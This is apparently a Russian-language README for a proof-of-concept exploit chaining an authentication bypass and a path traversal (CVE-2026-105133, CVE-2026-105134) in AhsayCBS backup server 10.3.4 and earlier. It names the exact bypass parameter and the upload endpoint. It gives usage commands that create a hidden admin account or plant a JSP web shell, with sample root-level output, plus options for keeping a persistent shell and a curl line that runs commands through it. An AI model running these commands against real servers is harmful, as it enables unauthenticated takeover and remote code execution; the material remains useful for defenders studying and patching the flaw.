Эксплойт proof of concept для CVE-2026-105133 и CVE-2026-105134, затрагивающих AhsayCBS
CVE-2026-105133 + CVE-2026-105134 — Неаутентифицированное удалённое выполнение кода в AhsayCBS ≤10.3.4
Технический анализ, охватывающий первопричину, эксплуатацию и индикаторы компрометации, доступен в блоге исследований атак Horizon3.ai:
Версии AhsayCBS 10.3.4 и более ранние уязвимы к неаутентифицированному удалённому выполнению кода через две цепочки уязвимостей обхода аутентификации и обхода пути в модулях JSON API и приёмника репликации. Злоумышленник может получить полный административный контроль или прямое RCE без учётных данных.
Метод com.ahsay.obs.api.json.JSONApi.execute() пропускает проверку учётных данных checkSysPwd(), когда тело JSON-запроса содержит {"FromServlet":"Y"}. Это позволяет любому неаутентифицированному злоумышленнику вызывать любое действие JSON API без учётных данных.
Влияние: Неаутентифицированный доступ к JSON API для выполнения конфиденциальных операций.
Конечная точка загрузки файлов приёмника репликации (PUT /rps/obs7/rpsfile/upload) формирует путь записи из контролируемых злоумышленником заголовков UserHome и TopDir через getReplicatedPath() без применения денилиста путей com.ahsay.c. Злоумышленник может выйти за пределы каталога в директорию, обслуживаемую веб-сервером Tomcat (../../webapps/), для загрузки исполняемых JSP-файлов.
Использует обход аутентификации для создания новой учётной записи системного администратора. Работает на любой установке AhsayCBS независимо от лицензирования или конфигурации репликации.
python3 ahsay_rce_poc.py --url https://target.example.com
Вывод:
AhsayCBS <=10.3.4 unauthenticated takeover (CVE-2026-105133 + CVE-2026-105134)
[*] Target: https://target.example.com
[*] Checking authentication bypass (CVE-2026-105133)...
[+] Target is VULNERABLE: auth check is skipped with FromServlet=Y
[*] Creating ADMIN account 'svc_abcdef' via AddSysUser (unauthenticated)...
[+] Created system user 'svc_abcdef' (Role=ADMIN)
[+] Confirmed: the account authenticates as a functional ADMIN
[+] Admin credentials
Console : https://target.example.com/cbs/
Username: svc_abcdef
Password: TK$#m9q@2pL!xR4vN
Role : ADMIN
[*] Cleaning up...
[+] Removed admin account 'svc_abcdef'
[+] Done.
Использует обход пути в приёмнике репликации для загрузки аутентифицированного веб-шелла. Требует, чтобы целевая система была лицензирована и настроена как приёмник репликации. Достигает RCE от имени сервисной учётной записи.
python3 ahsay_rce_poc.py --url https://target.example.com --replication --cmd id
Вывод:
AhsayCBS <=10.3.4 unauthenticated takeover (CVE-2026-105133 + CVE-2026-105134)
[*] Target: https://target.example.com
[*] Checking authentication bypass (CVE-2026-105133)...
[+] Target is VULNERABLE: auth check is skipped with FromServlet=Y
[+] Created replication receiver 'rqxmouq' (SystemHome=/opt/AhsayCBS/rpsrecv_ggsrer)
[+] Uploaded webshell -> /rps/status_vomejx.jsp (auth-gated)
[*] Webshell: https://target.example.com/rps/status_vomejx.jsp?auth=d9facce9a7e9535aab16270e36bf7527
[+] Remote code execution confirmed:
uid=0(root) gid=0(root) groups=0(root)
[*] Running: id
uid=0(root) gid=0(root) groups=0(root)
[*] Cleaning up...
[+] Removed webshell /rps/status_vomejx.jsp
[+] Removed receiver 'rqxmouq' (Id=2)
[+] Done.
pip install requests
Проверьте, уязвима ли цель, не внося никаких изменений:
python3 ahsay_rce_poc.py --url https://target.example.com --check
Создайте новую учётную запись администратора:
# Auto-generated credentials (default)
python3 ahsay_rce_poc.py --url https://target.example.com
# Custom username and password
python3 ahsay_rce_poc.py --url https://target.example.com \
--admin-user admin_user \
--admin-pass 'P@ssw0rd123'
# Custom role (default: ADMIN)
python3 ahsay_rce_poc.py --url https://target.example.com --role OPERATOR
Выполнение команд через временный веб-шелл:
# Execute 'id' command
python3 ahsay_rce_poc.py --url https://target.example.com --replication --cmd id
# Interactive webshell (use --no-cleanup to keep the shell)
python3 ahsay_rce_poc.py --url https://target.example.com --replication \
--no-cleanup \
--secret mysecret123 \
--shell-name cmd.jsp
# Then access via:
# curl 'https://target.example.com/rps/cmd.jsp?auth=mysecret123&cmd=whoami'
General:
-u, --url URL Target base URL (required)
-t, --timeout SECONDS HTTP timeout (default: 30)
-k, --insecure Ignore TLS cert errors (default: on)
--check Detect vulnerability without exploitation
--no-cleanup Leave artifacts in place for further access
Admin Takeover:
--admin-user USER Username to create (default: random)
--admin-pass PASS Password to set (default: random strong)
--role ROLE User role: ADMIN, OPERATOR, etc. (default: ADMIN)
Replication RCE:
--replication Use replication RCE mode (requires licensed receiver)
-c, --cmd COMMAND Command to execute
-r, --install-root PATH AhsayCBS install directory (default: /opt/AhsayCBS)
-w, --webapp NAME Web app to upload JSP into (default: rps)
--secret HEX Webshell auth secret (default: random)
--shell-name NAME Webshell filename (default: random)
"Это программное обеспечение создано исключительно в целях академических исследований и разработки эффективных методов защиты и не предназначено для использования в атаках на системы, кроме случаев явного разрешения." Сопровождающие проект не несут ответственности за неправомерное использование. Используйте ответственно.